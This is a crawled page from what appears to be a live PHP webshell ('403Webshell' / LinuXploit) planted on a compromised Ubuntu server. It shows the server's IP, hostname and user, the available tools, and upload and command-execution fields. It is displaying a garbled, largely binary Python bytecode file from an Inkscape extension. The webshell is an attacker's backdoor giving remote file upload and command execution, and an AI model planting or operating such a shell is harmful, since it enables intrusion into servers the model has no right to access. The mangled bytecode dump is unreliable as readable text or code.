403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/inkscape/extensions/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/inkscape/extensions/__pycache__/edge3d.cpython-310.pyc
o

5�a��@sTddlmZmZddlZddlmZmZGdd�dej�Zedkr(e��	�dSdS)�)�atan2�degreesN)�ClipPath�Filterc@s0eZdZdZdd�Zdd�Zdd�Zdd	�Zd
S)�Edge3DzGenerate a 3d edgecCs�|jdtddd�|jdtddd�|jdtd	d
d�|jdtd	dd�|jd
tddd�|jdtjdd�|jdtddd�dS)Nz--angleg�F@z2angle of illumination, clockwise, 45 = upper right)�type�default�helpz--stddevg@zGaussian Blur stdDeviationz--blurheight�@zGaussian Blur heightz--blurwidthzGaussian Blur widthz--shades�zNumber of shadesz--bwzBlack and white)rr	z--thickg$@zstroke-width for pieces)�add_argument�float�int�inkex�Boolean)�self�pars�r�(/usr/share/inkscape/extensions/edge3d.py�
add_argumentss
�zEdge3D.add_argumentscCs8dd�}|||�||��}|||�||��}||kS)zbReturn true if angle (degrees, clockwise, 0 = up/north) is between
           angles start and endcSs|dkr|dS|S)z Add 360 to x if x is less than 0r��v@r)�xrrr�f+szEdge3D.angle_between.<locals>.fr)r�start�end�angler�a�errr�
angle_between'szEdge3D.angle_betweenc	CsTd|jjd}|jj�tj�D�]}|j��}d}d}t	d|jj�D�]}|jj
r;d|kr8|jjdkr;nnq#|jj||dg}|jj||g}|�|jj||�|�|jj||d�t
|�t
|jjd�}	g}
g}|D]w\}}
|dkr�g}
qy|
r�|dkr�|
d|
dd�dg}n|d	kr�|
dd�d|
dg}n|
dd�}tt|d|
d|d|
d��}|�|d|d|�s�|�|d|d|�r�|�d
|
f�|�||
f�|}n|
dd�}|}
qy|�r&|dur�|�|�\}}|�|���}||_d|_|j|7_dtd
|	�}t�|||f�|jd<q#qdS)z�Check each internode to see if it's in one of the wedges
           for the current shade.  shade is a floating point 0-1 white-blackrr
Nr��Z�V����H�Mz*fill:none;stroke-opacity:1;stroke-width:10�g�o@�stroke)�options�shades�svg�	selection�filterr�PathElement�path�	to_arrays�range�bwr�appendr
rrr�	get_group�add�copy�styler�Color)r�delta�node�array�group�filt�shaderr�level�last�result�cmd�params�point�ang�ref�new_node�colrrr�effect6s\
(&����z
Edge3D.effectcCs�|jj}|�t��}|�|���}|���t���}|�t���}|�d|j	dd��|�t
ddt|jj
�t|jj�d��}|jd|jjd�|tj|j	dd�d�fS)	z
        make a clipped group, clip with clone of original, clipped group
        include original and group of paths.
        z	clip-pathr)�as_urlz-0.5)r�y�height�width�feGaussianBlur)�stdDeviation)r+)r)�defsr3rr4�	getparentr�Group�set�get_idr�strr'�
blurheight�	blurwidth�
add_primitive�stddev�Style)rr8rN�cliprE�
clip_groupr:r;rrrr2gs


�zEdge3D.get_groupN)�__name__�
__module__�__qualname__�__doc__rrrGr2rrrrrs
1r�__main__)
�mathrrrrr�EffectExtensionrr[�runrrrr�<module>s`�

Youez - 2016 - github.com/yon3zu
LinuXploit